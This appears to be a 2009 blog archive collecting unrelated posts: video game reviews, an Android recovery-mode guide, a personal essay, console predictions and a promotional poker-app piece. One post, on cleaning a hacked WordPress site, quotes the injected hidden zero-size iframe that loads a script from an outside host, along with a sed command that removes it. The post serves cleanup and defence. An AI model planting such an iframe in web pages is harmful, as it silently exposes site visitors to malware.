The “Break it Down” Blog

Dragon Age: Origins was a game we got some special time with at PAX 2009 back in September. It was about a 30-minute private playthrough that honestly took about 2 hours to get into. Curses on BioWare for running their demo like that at the conference — they never bothered to walk back in line and tell everyone after person 30 that they would never play the game that day.

Honestly, we were about 15th or so in line first thing one morning and it took us almost 2hrs to finally sit down and play — they took people in groups of 10 and let them play for 30 mins, even if you finished the private demo early and left, they still held the computer unoccupied for the full 30 mins until everyone was done… bah.

That’s neither here nor there now, the game is done and coming out soon, so here are our thoughts on it:

• It’s Mass Effect set in medieval times
• Graphics were solid. Although with BioWare games you come from the intricate stories and and inter-character relationships and Dragon Age looks set to deliver on that.
• Check point system seems a bit lacking — we were playing the 360 version and I ended up walking out of the demo because I got 3/4 of the way through it, died and respawned at the checkpoint coming out of the town where the demo started… there was no way I was going to replay all that stuff again. This may have just been part of the PAX demo though. I would imagine the check point system will be identical to Mass Effect — which I think was like this, but I don’t recall dying much in that game.
• It’s a darker game — there is this foreboding seriousness that drips all around this game… sort of a depressed/angry/suppressed feeling — I dig it, it makes the times seem more dark and intense.



• You can TOTALLY burn other NPCs in conversations. There are a lot of great choices to retort with like “Why don’t you shut your mouth before my sword shuts if for you” — so if you like playing like a dick, you will likely spend a lot of time laughing.
• Combat was confusing — I’m not the sharpest tool in the shed when it comes to Final Fantasy-esque RPG attack mechanisms, but I found myself juggling controls a lot during combat trying to figure out how to make things die.



• You can play ANY member of your party, not just the “hero”. At any time you can switch to the other characters.



• The attack styles of the different members of the group is very different.
• Attacks are not as action-oriented as Mass Effect, they are some hybrid between World of Warcraft (timing/targeting/recharge cycles) mixed with Mass Effect (live-action, you can run around during). It felt odd… I think you can pause time during attacks in this game as well like Mass Effect.

Overall I’m cautiously optimistic about the title — it looks like easily a 20-30 hr game straight through with some good story elements to it. Caring about the Gray Wardens cause (that’s the group of soldiers you play) will be part of connecting with the game and the story and I’m not sure that clicked for me.

Abusing my squad-mates and killing innocent people (which I did during the demo) is hilarious and could be funny to watch unfold… I rarely play evil in these types of games.

If you have already decided you are picking this up for PC, don’t forget to grab the Dragon Age Character Creator software for the PC to start working on the character you want to import into the game on release date.

Also if you are excited about the game and want to talk with other fans, BioWare has a community setup for that as well.

Introduction

This document will cover both how to get your Google Ion into Recovery Mode as well as a few other clarifications to HTC’s Google Ion device instructions for installing Android 1.6 that caused me pain during this process.

If you are like me and have an Android device, more specifically the Google Ion Android developer device from the Google I-O conference, then you are likely excited about the Android 1.6 release that is available and want to install it.

I’ve actually been sitting here waiting and rebooting my phone all week thinking that T-Mobile would push that update OTA to me like it did my wife’s phone and all my friend’s Android phones — unfortunately not, if you have a Google Ion phone, you will not get the Android 1.6 update over-the-air from T-Mobile.

So I set out to figure out how to install it myself. Fortunately HTC provides a very specific Google Ion device page showing you how to install different types of platform software on the phone. Unfortunately the page is geared at Android developers and some of the terminology used on the page will be confusing, so I’ll clear it up for us normal folks that just want to update their phone with the new Android OS:

Summary of Page for Normal People

• Download the “Radio Image” package
• Download the “Recovery Image” package
• Read the clarifications below FIRST, so that page and future instructions make more sense.

Once you’ve done that, the rest of the instructions on the page, about installing the Android SDK and using the abd tool all work great except for a few factual omissions that drove me crazy and I’m hoping to save someone their sanity by posting them here.

Don’t Mount as USB Storage

This isn’t specified anywhere, and is self-explanatory for some folks, but not everyone. When you are connecting your device to your computer, ignore the “Mount SD Card as USB storage” prompt on the phone. Leave the phone connected as a normal USB device.

You Probably Need the WinUsb Driver

My install of Windows 7 didn’t see my device when I connected it to my machine. After some digging around online and finding some seriously complicated solutions to getting Windows to load the right Android USB Driver, I found 1 sane users that pointed over to the official “Installing the WinUsb Driver” doc from the Android group — low and behold this worked just fine. I found the Unknown Device in the Windows Device Manager, right-clicked on it, selected Update Driver… and selected the path to the /usb_driver sub-directory under my Android SDK install directory and Windows took care of the rest (found and installed the USB driver).

Booting the Google Ion into Recovery Mode

This was maddening and took me about an hour to figure out. The instructions on HTC’s Google Ion device page specifically say you reboot the phone into Recovery Mode by doing the following:

Reboot the device into recovery mode by holding down the HOME key during reboot. When the device enters recovery mode, it displays a “!” icon.

This is crap — not only is it confusing (e.g. How do I know what phase of startup is considered ‘during reboot‘?), but it’s also wrong.

The correct way to boot your Google Ion into Recovery Mode is as follows:

Thanks to Vladimir Kelman and his insistence that HTC’s instructions made no sense. (Additional Link)

1. From the desktop, hold down the END/Power-Off button (to bring up the Phone Options menu)
2. Select the Power off option
3. Click OK on the Power off confirmation screen
4. NOW, immediately press the HOME-button and END/Power-Off button together at the same time — the phone’s “Shutting down” screen will continue to show, and you may see your Applications slider pop open in the background, but just keep holding these 2 buttons.
5. The phone will shutdown like normal, but instead of staying off, it will immediately kick into the that white “Google I-O” boot screen.
6. After a few more sections, a screen with a “!” inside of a triangle will appear, congratulations, you are in recovery mode. It looks like this:
   



7. You can now press HOME-button and END/Power-Off button together to bring up the recovery console — but the rest of the HTC Google Ion device instructions work just fine so you can follow them now.

Summary [9.5 out of 10]

Set in the world of Empire by Orson Scott Card, Shadow Complex is a 2D side-scrolling adventure game in the vein of Metroid. You play Jason, a fish out of water who finds himself embroiled in high tech action and espionage when a hiking trip turns into a rescue mission which turns into a save the world mission. The game play is tight, the graphics are excellent and the cut-scenes and voice work are exceptional. Oh and did I mention it is an XBox Live  Arcade title? It is amazing that so many retail games get so much wrong when a download only title gets just about everything right.

Introduction

I think the general perception with downloadable titles on services like Live, the Playstation Store or the Wii store is that they are good for nostalgia or a quick diversion from real games but they aren’t much in and of themselves. At least that is how I have always felt. Initially, the idea of forking over $15 for a game that looks like a quicky downloadable title made my stomach churn but seeing the videos made me change my mind. Shadow Complex is a revelation and if this is what the future has in store for downloadable games then sign me up.

The Great

• Fun: I am not sure when the last time was that I had so much fun with a game. From beginning to end this game grabbed me and didn’t let go. There is always something going on, the puzzles are just challenging enough but don’t bog down the game play, and the action is frantic. Even when I found myself dying in certain areas I kept coming back for more. I never felt particularly frustrated and the learning curve is pretty much perfect.

• Graphics: Built with the Unreal Engine 3, Shadow Complex is gorgeous. The backgrounds and levels look great and the character models and animation are pretty much spot on. That the graphics are this going on a download title is just amazing. Clearly a lot of care went into this game.
• Level Design: This sort of game is made or broken in large part by the level design. If you have bad design then the best ideas, graphics, controls and gameplay are rendered moot. When the emphasis is on exploring the place has to be interesting. Shadow Complex offers up intricate levels which never get repetitive or boring. Going from one room to another is often a puzzle unto itself and adds a ton of spice and variety into well rounded gameplay.
• Item collection/upgrades: The variety of upgradable items, weapons and armor is impressive and everything you collect is worth something. You aren’t looking to items because that is just what you do but because they genuinely help out. The usefulness of the upgrades and the cleverness of their hiding places makes for a very satisfying experience. You don’t do anything just because and you don’t spend time looking for things that weren’t worth your time.

• Replay: The game took me just under 8 hours to finish with 78% of items found. That is a pretty decent length for a game like this. That it is compelling to play through again to try to get everything and find every secret is remarkable. You add in the Proving Ground and Challenge modes and you have a game that keeps giving over and over. When you have full retail games giving you a 12 minute experience this one is packed with value.

The Good

• Jason: Your character is pretty bad ass. He starts out a regular dude trying to get some play in the forest and turns into an action hero that would make John McClane blush. He invokes Nathan Drake from Uncharted, not just because he looks an awful lot like him but also because Nolan North does the voice for both characters. His backstory has his dad teaching him tactical military things when he was younger in hopes he would follow in his father’s footsteps so it isn’t ridiculous that a random dude becomes the savior of the world…or at least of San Francisco.
• Controls: The controls here are super intuitive and easy to use. There is a bit of learning curve but the game eases you into things enough that this isn’t a problem. Anytime you have a hard time doing something in this game it is a skill based issue and not a broken control issue…except for some of the shooting, which will get its own bullet point later. Once you spend a little time with each of the upgrades and new abilities you will be pulling off impressive feats that will make you feel like a badass.
• Story: Based on established cannon and adapted here by Peter David, you don’t get a super involved story but what you get is very good. I wouldn’t have expected much story at all from a game like this so the fact that it has a compelling one is really cool.
• Difficulty: There are several difficulty settings to choose from but the normal, default difficulty is pretty much perfect. It offers up a challenge but not such that you get frustrated and walk away. The only reason I ever stopped playing this game was when I had to never because I wanted to. If I didn’t have a job and a girlfriend I would still be playing right now.

• Variety: You have a lot of ways to deal with enemies from shooting, to CQC, to running away. Solving exits and figuring out how to get through a room or to a hidden object seldom has just one way to do it. Getting creative not only helps improve your play but also makes everything more fun and keeps the game feeling fresh.

The Bad

• 3D shooting on a 2D plane: I get what they were going for here but it doesn’t really work out. Basically what you have here is enemies coming at you from various points in the background. You can auto-target these guys or sometimes aim for them by pressing up but in those moments when you have a lot of foes at once it is really difficult to take out the dick sniping at you from behind a box in the background. A nice idea but it just doesn’t deliver.

• Boss Fights: The boss fights leave a lot to be desired. They are just too easy. The final battle was a cake walk and generally none of the bosses gave me any real problem. You have a great opportunity here to have some really epic boss fights but they fall short. Everything else in the game puts this on par with Metroid and Castlevania: Symphony of Night and so too should the boss fights. Those classics had truly memorable and challenging bosses. It is a shame that Shadow Complex can’t say the same thing.

Conclusion [9.5 out of 10]

Shadow Complex is fun, fresh and beats the holy loving crap out of a lot of full retail titles. For $15 you owe to yourself to download this if you have Xbox Live. Seriously unless you hate games like Metroid and Castlevania, and by extension fun, then you will love this game. It is just that good.

It seems that a new WordPress malware hijack is making the rounds and we got hit. Google just issued me a “this site contains malware” warning for my sites, after some quick investigation it looks like the hijack has attached a malicious <iframe> block to the end of every HTML and PHP page in the site, so now I need to clean it out.

Luckily this is just like last time, and was easy to get rid of. I hope this tip helps someone else out as well.

This time, the iframe snippet that was getting added was:

<iframe src="http://reycross.com/laso/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Luckily, I had my old script laying around that systematically searches through all my files and removed the offending piece of crap from the files, you can use this script command as well to do the same:

find . -name '*.*' -exec sed -i 's/<iframe src="http:\/\/reycross.com\/laso\/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//g' {} \;

Hope this helps anybody else getting sacked by this attack. I think it has to do with a theme vulnerability

Summary [10 out of 10]

When Joker turns a prison transfer into Arkham Asylum into a full fledged take over of the island it is up to Batman to round up the inmates and stop whatever Joker has planned in the first game to ever fully and accurately capture the Batman experience. Finally, Batman’s entire skill set is on display as you use stealth, gadgets, combat ability and detective skills to figure out what Joker is up to and stop him before it is too late.  With flawless controls, a great story, voice acting straight from the animated series and a plethora of extras Batman: Arkham Asylum is what every Batman fan has been waiting for all these years.

Introduction

I would start this review off by mentioning that I am a big Batman fan and that he is my second favorite super-hero and I have been into him since I was age 4 but given that pretty much everyone in the fanboy geek realm is in mad, passionate love with the Dark Knight (unless they are the sorts of contrarian haters who can’t wait to diss the thing that everyone loves because they are so much cooler yet oddly just as unlikely to kiss a girl) I don’t really feel like I need to make huge pronouncements of love for the character as it is probably a given.

All that being said, Batman games have classically been really, really terrible. I think the last one I enjoyed (and I should mention I haven’t played Lego Batman) was the   of the ‘89 Batman movie. It was that long ago. Even then it wasn’t a great Batman game so much as a decent platformer. In the years since we have seen a lot of earnest efforts in capturing the magic but none have managed to do so.

Generally this is due to games trying to focus on only one aspect of what Batman is about or only manages one of them properly while other aspects suffer. One of the remarkable things about Arkham Asylum is that it juggles all the major aspects of Batman masterfully and there is never a time when I felt like I wish I could hurry past the section I was on to get to something fun. It is all fun. I can’t think of a super hero game prior to this that has so completely ‘gotten’ it. I don’t want to get to far into hyperbole-ville but with Batman: Arkham Asylum, the hype is well deserved.

The Great

• Game-play: First and foremost the game succeeds tremendously at being easy and intuitive to play. When I say easy to play I don’t mean the game itself is easy but rather the mechanics work wonderfully and none of the systems in the game are broken. There is never a time when you will fight the game itself or find Batman doing things you didn’t tell him to do.  In a game where you have three main game-play styles there is a lot of room for things breaking down or having a lackluster component. That doesn’t happen here. Each of the styles is the best possible example of that style and other franchises should take notice of what is going on here.

• Graphics/Art Design: The game is gorgeous. The backgrounds and environment are pretty enough to stand and stare at and the character models and animation are terrific.  The level of detail in both the environmental assets as well as the character models is truly impressive. The art design reflects the darkness of the story with aesthetics reminiscent of Jim Lee’s work on the Hush storyline or All-Star Batman and Robin. These are gritty looking characters to go with a gritty looking game and Harley Quinn and Poison Ivy have never been sexier.

• Story: The story, written by Paul Dini of the animated series,  isn’t intricate particularly and there aren’t many twists and turns along the way but it is very much a classic Batman story that is both interesting and engaging. Joker’s plan unfolds nicely as you progress through the story and there is just enough intrigue to keep you interested. The scripting is also spot on and easily stands with the Animated Series. It is also very dark and gritty, much more so than we’ve seen in previous game efforts. The language and violence is roughly PG-13 and tracks with the general feel of the Nolan films without quite getting to Miller’s Dark Knight Returns level of darkness.

• Voice Acting: The major voice actors from the Animated Series reprise their roles here including Kevin Conroy as Batman, Mark Hamil as Joker and Arleen Sorkin as Harley Quinn. It takes a minute to get used to the voices from the Animated Series coming out of dark and edgy looking characters but once it sinks in the voices really make the experience feel like Batman. Conroy has been voicing Batman for over 10 years an is true to form here. He is a relief from the raspy and almost unintelligible delivery from Christian Bale in the movies.  Mark Hamil is absolutely flawless as the Joker which is a really good thing since he talks to you over the intercom incessantly. And Sorkin does a great job of Harley, which makes since given that the character was created for her. The other voice actors all acquit themselves equally well with Wally Wingert’s Riddler being another stand-out.

• Controls: I am always very appreciative of games that don’t make me want to break my controller. In the case of some melee heavy combat games and stealth games, I find myself wanting to put my controller through the wall. Intuitive controls seem to be particularly elusive to the stealth genre. As much as I like Metal Gear the controls make me want to scream. Watching Snake lay down on the ground while enemies put bullets in his ass is very frustrating. Sneaking and CQC in such games also usually make me want to rip my hair out. In fact, I will go so far as to say that I don’t really care for stealth games at all and most of that is due to the controls. When it comes to stealth here, I have no complaints.  It is never frustrating to do what I want to do and the controls are very precise and responsive. Likewise, the combat and detective segments work so well in large part because of how successful the controls are.

• Combat: I’ve mentioned it a couple of times already but the fighting in the game is really good. It is a very simple concept and is easy to get the hang of but is difficult to master. There is one button to attack, one to counter, one to dodge and one to distract.  One attack buttons sounds like things will get boring and stale but this is not the case. As you are surrounded by enemies you hit the attack button and press in the direction of the attacker you want to deal with. Batman responds in a contextually appropriate manner and you can keep hitting the attacker in front of you or you can press in the direction of another attacker to move on to him. You also get a spider-sense like indicator when one of them is going to attack which allows you to counter, a simple button press that triggers a series of moves that often include stripping a weapon and scoring multiple hits. The evade button allows you to dive over and around attackers to flank and maneuver the attackers where you want them. If you did this repetitively to one or two attackers all the time, it would get boring fast but in this case you are often surrounded by several attackers at once and you do all of these things together to form combos that are truly bad ass. Batman has some crazy moves and he uses them to put some serious hurt on Joker’s thugs. It really looks painful. What really makes the combat shine here is that you can change up your tactics on the fly and each fight is unique. That they throw in special thugs with knifes and stun guns that require special techniques to take them down just further shows the level of variety in what could have been a really boring system.

• Stealth Sections: Now I mentioned this in the controls but more needs to be said. Basically, Batman wears body armor that is somewhat bullet resistant but a dude with a machine gun is going to kill him all kinds of dead. You get six such guys together and Batman has to be a bit more subtle. Enter the stealth segments. Generally you get four to six machine gun and shotgun carrying fools patrolling and area and you have to deal with them. You can do this a variety of ways. If you go up into the air on to ledges and gargoyles you can hang upside down and grab them and string them upside down by a wire or you can perform a glide kick which allows you to do a follow up knock out move. If you want to be more ground based you can sneak up behind them and do a silent take down or hit them with a batarang and then finish them off with some quick punches while they  are down. You can hang from ledges and pull them over the side, or set up charges to blow up sections of wall to knock them out or take out sections of the floor to drop them to the level below…you just have a staggering number of options here and Detective Mode, which is essentially an infared view showing the thugs’ skeletons through walls and the floor, allows you to set up your strategy with ease. These sections could have been tacked on but they are very fun and challenging and are every bit a puzzle as the actual puzzle segments. Occasionally they will throw some extra variety in and put a hostage at risk if anyone even hears you. Good times.

• Gadgets: Batman is well known for his gadgets and they are well on display here. From batarangs to grappling hooks everything you get is effective and useful. Your standard grappling hook lets you reach the high ground and get out of situations most people couldn’t and can allow you to grab thugs and pull them toward you or off ledges. The standard batarang can be upgraded to allow you to throw up to three at once and also comes in a remote control and sonic emitter variety. Then you have small explosive charges to set and a wireless hacking device. All of the stuff Batman carries makes sense and seems like it could exist if there was actually a Batman and makes sense for the character. There’s no ‘Batskates’ nonsense nor is there anything that you will never use. Everything is useful and you will use it often.

• Replay: There is just a ton to do here in addition to main story goals. That isn’t to say that you get Spider-man style side quests, but there are a lot of things to collect and puzzles to solve. Aside from that stuff, some of which will get its own bullet point, the game is just fun enough that you want to go back and do it again. The moment I finished the thing I wanted to jump right back in.  There isn’t mode to play through with your skills and equipment beefed up but it does let you explore Arkham so you can find all the stuff you missed during your play through and that is pretty handy.

• Riddler Challenges: While the Man in Green never physically shows up in the game, he cuts into your radio from time to time to give you a series of 200+ riddles around the asylum. Generally solving these is as simple as going into Detective mode and doing an environmental scan of the answer to the riddle. The riddles aren’t super difficult but many are clever and they are a fun diversion while you are making your way through the game. Aside from the riddles, there are also Riddler Trophies to look for. These are scattered around, often in hard to reach areas. Collecting these things become a matter of bragging rights to have actually found them.

• Easter Eggs: The game is loaded with fan service content. In addition to the Riddler Challenges you also have interview tapes to look for and another mystery involving the spirit of Arkham. The interview tapes are a series of psychiatric interviews with various inmates. These are reminiscent of the recordings you find in Bioshock and are very interesting and often times pretty disturbing. Some of them flesh out the storyline in the game and some are just generally messed up. One interview with the Riddler involving a riddle about a baby is particularly messed up. The Spirit of Arkham is a series of stone obelisks throughout the game that contain coded messages from Arkham’s founder leading to  a particular mystery.

• Challenge Rooms: As you collect Riddler Trophies and solve mysteries you unlock challenge rooms, a series of combat and stealth rounds where you compete for high scores. This seemed kind of tacked on to me until I started playing and I found them to be addictive. They are pretty much just rooms from the game with time limits and point scores but they are a fun distraction from the story mode. I bought the Xbox version of the game  mostly because of my controller preference but I am kicking myself for not getting the PS3 version which has downloadable challenges where you can play the Joker. Oh well, hopefully it will eventually be available for the 360. I suppose the charge that would accompany it content would be stupid tax.

The Hot

• Harley Quinn: Damn. That is all I am saying.

The Bad

• It ended.

Conclusion [10 out of 10]

I am kind of forcing myself to wrap up here. There is a lot more that can be said about this game and my love for it is the sort usually reserved for one’s children. I don’t give it a perfect score lightly and I am not one to throw that sort of score around willy nilly. This game deserves it, though, and while game reviews are just subjective opinions, if you don’t like it I have to seriously question whether you really like video games or not. I really hope that a sequel will be forth coming and I hope they don’t change it too much. If other developers use this game as a template we could see some really great things come out of it. I can’t recommend it highly enough and you really to go out at get it as soon as possible.

I’ve always identified myself as a “scientific person”. I have a Computer Science degree (virtual high-five to Laurence Hartje), I’ve been obsessed with computers and technical gadgetry since I was 10 (virtual high-five to Grant Gochnauer) and I glommed onto software development at the age of 12 and have loved it ever since. I pretty much always assumed that I was a walking robot — with a sense of humor.

My dad is very precision-minded… if he sets out to do something, he draws it up, plans it out and executes it a step at a time. That sounds like me, I like planning, I like execution, I like precision — so I pretty much have always assumed I was a “technical guy”, a “logical shitbag” as it were, until 3 days ago.

I noticed that when I go through bouts of no programming or I have nothing worth-while to work on, I actually get depressed. It’s really subtle, and I was never able to pinpoint it until recently. I also cannot just start “coding” anything and suddenly be happy, there has to be a purpose to what I’m doing and the purpose, 9 times out of 10, has to be building something that will help people. I can’t just build a porn downloader or a hilarious cat-picture-shuffler, it’s got to be something really useful that makes a person go “Goddamn, this is awesome…”

We had lunch the other day with some good friends, she’s one of the leading psychologists in Tucson and we got to talking about what our passions were. When I mentioned that I had some inkling that it might be “… programming” and how that “made no sense to me”, she jumped in with:

Oh no, it’s very common for technical people to be very creative… programming is your artistic outlet. Some people play the piano or paint to get their artistic energy out — you program.

Seriously? I’m artistic?

… ok I guess I can see it, I do have the following personality traits:

• I love flexible rules, gray areas
• I hate rigid unmovable/absolute things
• I like flexible people, creativity, humor
• I love opportunities around every corner, excitement
• Myers-Briggs says I’m an ENFJ
• … if time allows it, I love treating code as art, it’s so much prettier that way

Hmmm, ok those sound a lot like personality traits that a 1st year art student would have. I guess I am artistic.

One of the best things I’ve done in the recent past was to take a detailed Myers-Briggs test and learn what my personality type is and more about my personality type. My triggers, things that motivate me, things that de-motivate me and so on.

Prior to this I was struggling with feeling motivated to wake up in the morning, but afterward I had a better understanding exactly as to “why” I was feeling this way. Most all of it had to do with lack of opportunities, I was getting too set in a pattern that was turning into my day-in-day-out life and that was killing me inside slowly. I found different ways to inject some excitement into my life to combat that without needing to uproot the family and move to Guam… which was plan B.

I’d recommend anyone feeling a general sense of milase or depression to do the same — if for no other reason than just to learn a bit more about themselves. You might find something that speaks to you instantly and let you know what it is you have to change to make your life better for you.

So in closing, if you are a technical person, you might be a closet artist too… if you are, don’t discredit how happy coding might make you. If you are currently dying a slow death programming at a big company on nothing that interests you or feeds your soul, try and start a side project to get your brain flowing again. You need to take this seriously if this is really what feeds your soul.

Not wanting to get out of bed in the morning is probably the worst feeling in the world for us creative types.

Late for work? Just zoom-in!

As Chris Hunkele points out, Google has launched traffic information for surface streets (no longer just interstates), but it’s not perfect just yet. Chris tells us:

… it’s a little buggy, look at the east west curvy street (greenway), when zoomed in the traffic is fine, when zoomed out it’s red, you can keep zooming in and out and it will just keep reporting the same thing…

Something that Chris is ignoring is how powerful Google really is… it’s entirely possible when you zoom in too much, Google is changing the traffic lights to adjust the flow of traffic — so the results are actually accurate.

Also… Chris… you might want to stop zooming in on Greenway, backing all that traffic up

Back when the PS3 and Xbox 360 were first announced, we aren’t ashamed to say that we were avid fans of the PS3 platform… much more so than the self-aborting Xbox 360. It was a much higher build quality, the technical achievement of the Cell Processor was ridiculously complex and therefore impressive, it played Blu-ray disks… the list went on and on.

The unfortunate reality, 2 years later, is that my Xbox 360 sees 80% of my game time on it because the multiplayer/online experience is just so much better — that’s a software problem, not a hardware problem. Unfortunately Sony likes to move at the pace of an elephant, and instead of matching parity with Microsoft immediately with friend-connectivity functionality and at least keeping the argument of “Which one is better” going, in true Japanese fashion, they decided to focus on hardcore functionality instead.

Right now, the Xbox 360 is a better gaming experience. Sony has promised us a 10-year product cycle with the PS3 however, and with some of the more recent PS3 platform and 3rd party engine enhancements, it looks like the platform is finally starting to come into it’s own.

While PS3 still cannot rival Microsoft’s crafted gaming experience on the PS3, they are getting closer… but that’s not the interesting part.

When you sit and think about what it would take for Sony to “win” in the long-run, you have to think about what the new hotness is in gaming, more specifically two things:

• Motion control
• 3D (???)

Nintendo did pioneer motion control and got it into everyone’s minds and homes, but it wasn’t the “1:1″ experience we thought it would be, nor is the new Wii MotionPlus.

Sony has already shown us that they’ve been working on visual motion control, again promising 1:1 motion-mapping experience… maybe we’ll get it this time?

In addition to that, NVIDIA has quietly been promoting their 3D Vision product, to deliver a true 3D gaming experience to PC gamers that have:

• GeForce 8-series or higher
• Display capable of 120hz or higher

If you recall, the NVIDIA RSX graphics chip inside the PS3 actually provided the launch base for the 8-series of PC graphics cards. And as far as 120hz displays, they are all over the place when it comes to televisions (but not necessarily PC monitors).

… do you see the trend forming here? Let’s recap:

1. Sony’s R&D to Product cycle moves at a glacial pace, but it moves.
2. Sony launched the PS3 as an unnecessarily complex/functionally advanced technology platform.
3. Motion-controls and 3D are becoming the new hotness in gaming, discussed at all the gaming conventions for the last year.
4. Sony showed off some R&D progress they’ve made with visual motion-control last year.
5. Sony has a 3D-enabled graphics processor already shipping inside the original PS3
6. Most television sets sold in the last year (and possibly longer) provide support for 120hz, the base requirement for successful 3D rendering.
7. FUTURE: In 2011 Sony releases motion control for the PS3
8. FUTURE: In 2012 Sony releases 3D glasses for the PS3, providing a comprehensively detailed “experience” in your living room.
9. FUTURE: 2013 Sony hints at the PS4, which will ship with all these features out of the box.
10. FUTURE: 2014 Sony demos off advanced tech for the upcoming PS4
11. FUTURE: 2015 Sony announces the PS4 for Christmas of 2015, it includes 1080p 3D rendering, full 1:1 body-motion control (no more need for devices)

The bread crumb trail is there and it all seems to point at this. I have no idea what Microsoft and Nintendo will do in response. I wouldn’t expect main-stream 3D from Nintendo until 2018 or later (that sounds like a long time, but Nintendo won’t do anything that is ‘cutting edge’, they make too much money re-selling us their last-gen game systems).

Microsoft will absolutely fight Sony tooth and nail down this path, but given Microsoft’s history with human-computer interaction, I’m going to guess their motion-mapping is going to have problems for years.

Deciding Factor: It’s cheaper for content developers to leverage their existing technology stacks, engines, frameworks and previous game assets for a long-standing platform than it is to develop new technology for a new platform. We saw this with Windows XP for 100 years and again with Nintendo Wii.

Giving game developers 10 years to develop an expertise and asset library around a platform and then letting them continue to leverage that for better and better selling titles is going to be huge. I fully expect Microsoft to introduce a new revision to the Xbox family in 2012 that will cause moaning and groaning from game companies that have to re-evaluate their tool stock and see what works and what doesn’t — starting from scratch in some regards.

It’s interesting to think about… in a few years, the PS3 might win afterall.

This is more of an aside, but Crytek’s Cevat Yerli shows off a demonstration of the upcoming (September ‘09 release) CryEngine 3 and I’m floored.

The enhancements that Crytek have gotten into CryEngine 3 are nothing short of amazing, specifically on the PS3. Cevat explains that over the years they have had two R&D engine teams internal to CryTek: 1 PC Team and 1 PS3 Team.

As some of you may know, developing for the Xbox 360 was made intentionally easy by Microsoft by wrapping most all of the PC-based APIs up in some proprietary Xbox 360 APIs, but for the most part leaving them intact. So developing for the Xbox 360 and PC were really straight forward, especially for companies with a long history in PC gaming like Valve — who hate the PS3.

Unfortunately it seems like developing for the PS3 has been a mind-raping experience for most developers. It was either the bare-metal APIs at launch that weren’t doing much abstraction away from the core design principle of “stream everything, nothing goes in memory” or the incredibly complex hardware — that was apparently designed to be complex intentionally.

Because of this, a good majority of the games that have come out of 3rd parties for the PS3, have been sub-par behind their PC or Xbox 360 counterparts.

Cevat explains that the two R&D teams inside of Crytek have actually been combined to move CryEngine 3 so far forward, that now PS3 is performing like their premiere platform — it’s pretty incredible when you see the detail and complexity of what they are demoing here:

Something to keep in mind is that there is a lot not going on in these scenes that a finished game would need processing power to drive; like complex AI, many animated characters, complex physics, scripted sequences, sound mixing, etc. There are some portions of that in the demo, so at least we can get an idea of the ballpark they are playing in, and I’m seriously impressed.

Red Light Racing (site currently down) has a story about two mechanics in Maryland that did a custom modification to a standard Honda Insight hybrid gasoline-electric car by replacing the gasoline motor with a diesel motor. Out of the box the default Honda Insight is rated at 40mpg city, 43mpg highway.

During an 1,800-mile road trip to test the customization out, they averaged 92mpg, with a minimum of 72mpg through a hilly patch of country road.

The guys have documented the entire process, and claim that the electrical subsystem wasn’t completely functional for the trip, expecting somewhere around 100mpg easily if it had been.

In a wonderful closing note, they mention:

If we can do it I don’t see any reason why major auto manufacturers can’t do it since we used their parts.

Yes… indeed. Can anyone figure out how people were modding Toyota Prius’s more than a year ago (and Honda’s almost 5 years ago) to get 100mpg and the car manufacturers still can’t seem to mass-produce a vehicle that can pull that off?

<sarcasm>I bet it’s a technological hurdle… oh wait.</sarcasm>

Thanks Slashdot!

Poker apps quickly became one of the most popular genres when Apple release the iPhone and App Store, and for good reason. Not only do millions of people around the world love to play poker, but it’s a great fit for the iPhone in general, as it lets people enjoy the game of poker no matter where they are. If you’re going to while away a few hours playing a game on your iPhone, why not do it playing poker, instead of yet another random puzzle game moving blocks or jewels around, with very little strategy or thought involved.

Apple itself quickly jumped on the poker bandwagon, releasing their internally developed Apple Texas Hold’Em app shortly after the iPhone was released. It quickly shot up the charts as one of the most popular iPhone poker apps, and for good reason, as it offers a great way for beginning and advanced poker players alike to enjoy their favorite game. The app has continued to prove to be very popular since it’s release, as it offers a quick, easy way to jump into a game of poker whenever the urge strikes you.

Apple Texas Hold’Em is primarily designed to let you battle it out on the felt with a variety of animated computer opponents. The developers built in artificial intelligence into the computer players, so they actually have their own tells and tendencies when it comes to how they play. Unlike other poker games where your opponents are mindless and easy to beat, you need to keep a close eye on your opponents in Apple Texas Hold’Em, as you can actually learn how to pick up on their tells and take more of their chips, more about Texas hold’em here.

The look and feel of the action is very polished, and you can choose from various table views and level of animation, including changing the location of the background of where the game is taking place. While the app is largely geared for solo play versus the computer opponents, you can play with up to eight friends if you all connect over a Wi-Fi network, so it is possible to play with other real players.

If you are looking to get into the action, but don’t have an iPhone and want to know more about the game you can find some great tips from this texas hold’em resouce, including official rules, strategy play and more.

Summary [ 5.5 out of 10]

King of Fighters XII brings the long running mash up series into current gen but developer Ignition apparently didn’t notice as there is very little upgrading or innovation going on here. This ‘effort,’ if you can call it that, looks and plays last gen and charging $60 for this should get you 10 to 20 and count as at least two strikes.

It can be an amusing distraction if you are playing against someone sitting next to you but mostly just makes you think of other fighting games you’d rather be playing and maybe that you should go and see about cleaning the toilet.

Introduction

I’ve at least dabbled in just about all of the major fighting game franchises since I was in high school. I always found the SNK fighters fun and interesting if not particularly original. The King of Fighters series is something of a best of collection of those games although it disregards Samurai Shodown and World Heroes. The series has seen iteration after iteration over the years and this one was meant to revitalize the series.

I haven’t played King of Fighters in years so I am not sure how much the most recent installments have flagged in quality but if this is a step-forward then I am surprised those games actually booted up when you pressed the power button. The game retains the three-on-three format in which you choose three characters and fight against your opponent’s three. If one of your fighters loses, the next one steps up while your opponent’s health bar refills a bit for the next brawl. There is no ‘tag-team’ option to swap characters but you do get to set the order in which to use them. And that is pretty much all there is to the game.

The Great

• Other Fighting Games: Seriously, spend an hour with this one and it doesn’t matter how burnt out on Soul Calibur 4 or Street Fighter 4 you are, they play like a dream.

The Good

• The Engine: The fighting engine is pretty solid. It isn’t the best or most exciting gameplay you will find but there is nothing really wrong with the basic mechanics of the engine. There are combos and strategies that work well and the character balancing is generally okay. Some of the special moves and attacks have strange trajectories and ranges but when used properly they fit well with the stylized characters. At its most basic level, the fighting system works with no major hiccups.

• Animation: All of the actions and movements are fluid and have just the right amount of style. The dynamic camera is used to good effect zooming in and out during the action and the movement looks really good.

• Character Design: The character design here is interesting and quirky. Some of the characters are fairly standard, but the majority of them are stylized and different. The hair in particular is noteworthy.

